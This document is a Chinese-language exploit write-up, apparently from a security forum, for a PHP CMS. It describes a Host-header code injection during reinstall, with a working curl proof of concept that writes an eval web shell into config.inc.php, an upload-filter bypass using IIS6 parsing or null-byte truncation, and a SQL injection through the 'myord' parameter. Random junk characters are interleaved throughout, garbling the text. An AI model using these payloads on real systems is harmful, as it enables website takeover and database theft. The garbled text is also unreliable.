注入:
! y! d5 m' i" z/ G+ M" H; E% w* N* Y9 x: E F3 ^! x
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
$ C& A, ]1 S( ]+ E2 m' v8 |" w : Q$ \+ M- I4 F. A; L
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件3 z; f$ n. f, z8 k
鸡肋2: 有一定安全常识的站长都会删掉 install 目录
6 g( d5 Z0 Y( G7 h/ F% p
; H4 i% L9 H( {6 Z/ T c虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响, \+ X p' y$ P) q: h4 o
, R) Q* C/ K1 P0 x
分析: k l9 d4 B. d! P% Z. b9 U3 S3 V1 r
- O% b d# c/ K
9 c1 y/ U3 i6 j, O) F3 `' ~$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤( `$ ~3 v6 \4 ]+ r
, L+ I7 Y+ D! I# |! c1 Q% P. i
$filestr = fread(fopen($SysConfigFile, 'r'),30000);, K2 g: `) ] F7 f0 F: X( P# B# G
$filestr=str_replace(" ","",$filestr);
" n; C" O& _* r- b1 A! ] n $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
; R6 b4 x, q9 Q& b* y6 e $filestr=str_replace("DefaultDbName",$dbname,$filestr);
& P2 i! q" S; z; ] $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
7 h9 f7 f) ?% P7 _& d4 n9 X $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
, w+ k8 V K' _3 T: d $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
0 V5 ^9 a8 Z: b) B' @ $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
6 k- f' Q( d( ]4 F0 r8 | $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);$ v* ]5 F, |/ d- T4 o1 A% V3 T
/ U* I( ?9 @! M
fwrite(fopen($ConFile,"w"),$filestr,30000);
$ T7 h- P y1 X6 e5 k. _& C$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
4 F: \% n, a. e! z3 |
! v1 N* E, j8 q- e4 L; W/ \poc:5 r9 R5 e7 Y8 [1 H2 z
( o8 T9 B% L" k& {4 T?- Q! H6 [; k* u5 _1 O
1
/ ?6 b) T4 }. @/ U- i( ecurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
! p5 Y, a, `+ s6 p" b1 T& |# bshell地址: /config.inc.php
5 _5 w$ X' n% ` k) T5 P g2 Y w3 K跟之前的 phpcms一样 需要远程数据库
% T" E& J ^* N" u/ M" h
: V; Q% y' W1 f- [2 z——————————————————–
: Y4 p, O, K: h' E2 E% j3 |/ ?上传漏洞(需要进后台):) g V% j" u3 p5 U2 K) C. W
漏洞文件: /kedit/upload_cgi/upload.php7 J* s1 a! ~2 _4 n2 j; ]
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用9 G- A( X* u) r4 R- {6 _
0 H5 \; T6 _, I) P3 u" h! p & ]$ m' o4 l! d. k! n
<?php
& M5 v+ O$ z- _$ F _" H& ?6 p define("ROOTPATH", "../../");
! w/ _5 a! j" a2 y4 G include(ROOTPATH."includes/admin.inc.php");
. i0 }( f- Q8 L1 N2 o6 R' T NeedAuth(0);
7 F5 K! r9 M* }& Y" V: E4 f- a
I! C( W w8 O $dt=date("Ymd",time());
4 |$ b7 M. g* f" K" ^0 X) K2 ` if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){$ ?7 l8 T% f( S9 X. t* p# W
@mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
& a9 [; n8 R0 B1 o) X- K0 G }, s4 C: z1 |) M
# x( f% [" {7 O8 M% t
//文件保存目录路径2 }8 {8 c7 ^. j3 ~- m
$save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
( M" K m& X1 s# I+ \ echo $save_path;
* p$ g, F7 }* V0 g# ` //文件保存目录URL
* h& P( t3 ?1 H F $save_url = '../../'.$_POST['attachPath'].$dt.'/';! F0 P- B4 T9 s9 Y5 C- g* T) y% X
/ L t8 T) c0 z' ?: M
//定义允许上传的文件扩展名
% ~! G0 d" y0 O4 s $ext_arr = array('gif','jpg','png','bmp'); //限制后缀# _: r( z% A4 ?; t; r2 s
, o/ D. Q9 M' }& K* N* J" K
//最大文件大小
! X; r0 _( d m4 v7 i& C/ u $max_size = 1000000;
4 P2 o( ?6 G8 c: ?! `9 W- K/ U 5 Z- u- Y$ t* ^% [
//更改目录权限 ^+ x* W8 Z( }
@mkdir($save_path, 0777); S" d3 g, V" B9 i" X; U1 q# V% N
$ w5 @2 W: f1 _( `
//文件的全部路径1 b0 r4 o% r- E6 p3 M9 }" @* j
$file_path = $save_path.$_POST['fileName']; //保存文件名
* H$ g$ C! X3 |- N& k
0 d Z8 O# H1 b7 X( d* K/ ^$ T //文件URL$ s( i& O% |+ u7 m: P4 ~
$file_url = $save_url.$_POST['fileName'];
. G. T4 G/ C- d) ~6 Y//有上传文件时- s( J7 A1 f# B; U3 F* j
if (empty($_FILES) === false) {
% A- Z0 S' W0 L0 j% |5 X* m/ S/ M+ F
; d3 \2 e8 Y5 @6 j& \ M //原文件名
) r# Y7 D" n% N9 A2 \9 E/ M $file_name = $_FILES['fileData']['name'];
& h% f; i; L9 S; L. k //服务器上临时文件名" A- q4 M6 n S
$tmp_name = $_FILES['fileData']['tmp_name'];$ ~" h* o# g2 N1 `# q, k! S, c
//文件大小
# _5 @( ^8 |2 {% r2 d; l $file_size = $_FILES['fileData']['size'];
9 _- D9 `' r3 |8 s/ ^9 [ //检查目录" S( o. S+ f ^( W2 T' d
if (@is_dir($save_path) === false) {
" k A! H: e- U$ f; @7 C alert("上传目录不存在。");
! X3 u8 |1 _6 E8 F! d- Q. P2 ] }
: n( X* g: |' {3 R5 U) e% i //检查目录写权限& Z ]3 X6 A7 w$ R4 b5 t
if (@is_writable($save_path) === false) {
. Q+ Y: f2 ]* s { alert("上传目录没有写权限。");) G6 n3 l- |) V
}
4 c9 N8 O( A0 }* w //检查是否已上传8 w: {" D/ A' a s* \6 r
if (@is_uploaded_file($tmp_name) === false) {
3 w2 C5 b, P3 p, v5 x alert("临时文件可能不是上传文件。");0 w% R' x3 D. W7 b
}) K# X& t7 N- x8 g6 `
//检查文件大小
2 C' ]. ]% X% w" j if ($file_size > $max_size) {
& R- r9 V" U- G alert("上传文件大小超过限制。");% y8 M) h/ A* R; Z6 |; e# Q
}
" O1 Z) x! A g$ Y/ C //获得文件扩展名, W& e' _8 M6 O( z/ x! ~
$temp_arr = explode(".", $_POST['fileName']);
% S9 \% Y" j4 |& I6 V% x $file_ext = array_pop($temp_arr);4 f$ u5 n- U B# p3 s
$file_ext = trim($file_ext);
/ N- T1 _8 X) ?- |% N $file_ext = strtolower($file_ext);" {& F% L7 c" r8 v3 k
8 ]! d8 \8 a+ m( N3 m
//检查扩展名
6 N J3 z6 \$ H6 `5 k if (in_array($file_ext, $ext_arr) === false) { # f$ l r* F S( N f
alert("上传文件扩展名是不允许的扩展名。");
! F) z! U# [- T6 o; [ }2 Q* P0 s" a" M2 r* u5 j1 m
! @6 n% u: s, f" O/ T6 { //移动文件
) B- D( z, d7 @ a' N {2 m4 ? //未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^
; h8 |3 x4 `" B& z, `! G% P) F if (move_uploaded_file($tmp_name, $file_path) === false) {
8 S d% G6 q( a4 K6 |/ a" | alert("上传文件失败。");
0 f+ b0 D7 j* R, a/ g. f' b }. Y$ T% ^$ H6 T: M" v% B
( I$ I3 c+ U) ^. p8 q
@chmod($file_path,0666);
, b# V4 z0 Q6 Y: Z % q3 Z, z3 G7 o3 P! E
?>* N' E, O# m9 {& R' G/ Y
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227" Z: G) Q+ ?: E, n, B! {
6 h/ I$ j0 w4 ]; [( Q' fapache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
' J9 M0 ^# J( y" K- S6 H
( b# [$ R( n% @# X. q1 Z——————————————————
% I7 R/ N% c0 z7 w# t& J注入漏洞:
) Z8 b& K" d( v z漏洞文件:search/module/search.php& N- Q1 Y4 y& x! l8 ^
/search/index.php?key=1&myord=1 [sqlinjection], E4 G: a; B! Y: W- ?, w
5 O/ u1 q5 O' }! `- `
# u3 `7 D) D# R<?php: e7 ^/ Z V6 d* O( \$ \; b3 N; r
// ... 省略 n 行...$ G+ {* y6 @2 B' c: [2 h
//第18行:
& Y# a& u' @" z $key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响
: H- S$ l5 B5 |* a G1 y: Z $page=htmlspecialchars($_GET["page"]);
8 ?- C5 s/ y, a3 ?% |2 w+ O& m $myord=htmlspecialchars($_GET["myord"]);) c: [% A7 X7 h _+ `7 p4 d+ H, w
+ ~' r- Q9 {* Y6 @ @
// ... 省略 n 行...& _0 ]" a3 h" B2 T. _1 ]2 D! @8 {. L
$key,$myord 两个参数带入查询
7 ~2 ^6 L0 i$ P7 j5 e* { //第47行 $key:3 Q4 ]5 G+ G; h: C8 B1 e! |% R) [
9 Q4 g. P. E& ^3 {* u
$fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..
8 ^- [7 H! }- G! b/ s 2 [0 x# O2 L7 p- f4 Y
//第197行 $myord
& p) f; k/ b1 r4 V $fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入6 o! k- l5 [ o$ |' i: \; y6 N9 w
; P+ T6 \4 @# A, }6 s ?>4 u# N3 z2 [7 l+ \
|